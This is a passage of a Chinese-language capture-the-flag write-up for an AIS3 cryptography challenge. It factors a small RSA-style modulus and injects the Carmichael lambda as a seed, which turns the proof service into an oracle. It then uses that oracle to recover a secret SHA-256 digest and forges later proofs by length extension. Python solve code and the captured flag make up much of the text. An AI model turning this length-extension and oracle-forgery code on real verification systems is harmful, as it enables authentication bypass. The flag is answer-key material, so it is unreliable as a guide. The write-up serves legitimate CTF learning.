digest = flip_digest_bit(digest, index)
return compute_proof_from_digest(digest, seed)
  1. 所以我們拿到一個 oracle:

    • suffix 固定為 user_part || server_part
    • digest 是固定的 sha256(flag || suffix)
    • 我們可以選 seed。
    • 我們可以逐步翻 digest 的 bit。
    • 每次可以取得翻轉後 digest 的 proof。
  2. 公開的 modulus N 可以分解成小質數 p×q 相乘:

N = 1371086445846712667727718527036585861739497962228620061686456237722902428356146756731186939
p = 1062991560384192946446466724143851978243633013
q = 1289837564986090927380812179078126226643568303
  1. λ=lcm(p1,q1),由 Carmichael 定理,若注入 seed = lambda。proof 的狀態轉移變成以下這樣。只要 value 不是 0,它就是 λ 的非零倍數,且與 N 互質,所以遇到 1 時會被重設成 value = 1。因此最後一個「可見的 1」之後如果有 t 個 trailing zero,最後 proof 會是:
bit = 0: value += lambda
bit = 1: value = value^lambda
...
proof = 1 + t * lambda mod N

所以看到 proof 後,可以查表反推出 t,也就是目前 digest 最右邊的「可見 1」在哪裡。

  1. 有一個邊界情況:如果 digest 一開始是連續的前綴 1,在遇到第一個 0 之前 value 都還是 0,所以那些前綴 1 不會被 xλ=1 這個性質看見。當所有可見的 1 都被我們翻成 0 後,digest 會長這樣 111...1110 000...000,此時 proof 會是:
proof = zero_count * lambda mod N

所以終止型 proof 可以反推 zero_count,再得到前綴那些原本看不到的 1

leading_ones = 256 - zero_count
  1. 整理流程如下:

    1. ask prover
    2. nonce 輸入 base64(user_part) + "&s=" + str(lambda),注入 seed
    3. 查 proof
    4. 如果 proof 是 1 + t * lambda 形式,表示目前最後一個可見 1 的位置是 255 - t
    5. 用 flip oracle 把該 bit 翻成 0
    6. 重複直到 proof 變成 zero_count * lambda 形式
    7. zero_count 補回前綴的連續 1,得到完整 256-bit digest
  2. 所以用兩張表做 proof decode:

TRAILING_PROOFS = {((1 + t * LAM) % N): t for t in range(256)}
TERMINAL_PROOFS = {((z * LAM) % N): z for z in range(257)}
def classify_lambda_proof(proof):
if proof in TRAILING_PROOFS:
return "trailing", TRAILING_PROOFS[proof]
if proof in TERMINAL_PROOFS:
return "terminal", TERMINAL_PROOFS[proof]
raise ValueError(f"bad lambda proof: {proof}")

還原 digest 的主迴圈:

def recover_digest():
attempt = 0
while True:
attempt += 1
c, server = start_oracle(b"", LAM)
bits = [0] * 256
queries = 0
try:
while True:
proof = ask_proof(c)
queries += 1
kind, value = classify_lambda_proof(proof)
if kind == "terminal":
zero_count = value
leading_ones = 256 - zero_count
for i in range(leading_ones):
bits[i] = 1
digest = int("".join(map(str, bits)), 2).to_bytes(32, "big")
c.close()
return server, digest
t = value
index = 255 - t
bits[index] = 1
if queries >= 128:
raise RuntimeError("digest weight too high for this session")
flip_bit(c, index)
except Exception:
c.close()
time.sleep(0.2)
  1. 到這裡我們只知道 digest = sha256(flag || base_suffix),且 SHA-256 是Merkle-Damgard 結構,只要知道 digest, message_length,就可以對後面追加的資料繼續 hash。假設 flag 長度是 L,我們構造:
glue = sha256_padding(L + len(base_suffix))
shown_nonce = base_suffix || glue
# challenge
sha256(flag || shown_nonce || challenge_server_part)
# calc
sha256(flag || base_suffix || glue || challenge_server_part)
  1. 如果 L 猜對,flag || base_suffix || glue 正好是一個合法 SHA-256 padding 後的訊息邊界,因此我們可以從已知 digest 繼續壓縮 challenge_server_part,得到 challenge 需要的 digest。
def sha256_padding(length):
return b"\x80" + b"\x00" * ((56 - (length + 1) % 64) % 64) + struct.pack(">Q", length * 8)
def sha256_continue(digest, processed_len, data):
state = struct.unpack(">8I", digest)
payload = data + sha256_padding(processed_len + len(data))
for i in range(0, len(payload), 64):
state = sha256_compress(state, payload[i:i + 64])
return struct.pack(">8I", *state)
  1. flag 長度未知,所以先用 oracle 測。對每個候選長度 flag_len
    1. 算出 glue = sha256_padding(flag_len + len(base_suffix))
    2. 用 oracle 請 prover 計算 base_suffix || glue || fresh_server_part 的 proof
    3. 自己用 length extension 計算預測 digest
    4. 用公開的 compute_proof_from_digest(predicted, 2) 計算預測 proof
    5. 如果 proof 相同,長度就是對的
def find_flag_len(base_suffix, base_digest):
for flag_len in range(1, 129):
glue = sha256_padding(flag_len + len(base_suffix))
c, server2 = start_oracle(base_suffix + glue, 2)
predicted = sha256_continue(base_digest, flag_len + len(base_suffix) + len(glue), server2)
expected = compute_proof_from_digest(predicted, 2)
got = ask_proof(c)
c.close()
if got == expected:
return flag_len
raise RuntimeError("flag length not found")
# flag length = 62
  1. 已知 base_suffixbase_digest = sha256(flag || base_suffix)flag_len,每一輪都送同一個 nonce:
shown = base64(base_suffix || sha256_padding(flag_len + len(base_suffix)))
  1. verifier 印出該輪的 server suffixseed 後:
    1. server suffix 做 SHA-256 length extension
    2. 用公開的 compute_proof_from_digest() 計算 proof
    3. 送回 verifier
def solve_challenge(base_suffix, base_digest, flag_len):
glue = sha256_padding(flag_len + len(base_suffix))
shown = b64(base_suffix + glue)
processed_len = flag_len + len(base_suffix) + len(glue)
c = Conn()
c.read_until(">")
c.sendline("2")
while True:
line = c.recvline()
if line.startswith("server suffix = "):
server = base64.urlsafe_b64decode(line.split(" = ", 1)[1].encode())
c.read_until("nonce:")
c.sendline(shown)
elif line.startswith("seed = "):
seed = int(line.split(" = ", 1)[1])
digest = sha256_continue(base_digest, processed_len, server)
proof = compute_proof_from_digest(digest, seed)
c.read_until("proof:")
c.sendline(str(proof))
elif line.startswith("AIS3{"):
c.close()
return line
# [+] recovered digest after 1 oracle attempt(s), weight=116
# [+] flag length = 62
# ...
# round 16/16
# ok
# AIS3{simple_oracle_and_dramatic_injections_leading_forge_XDDD}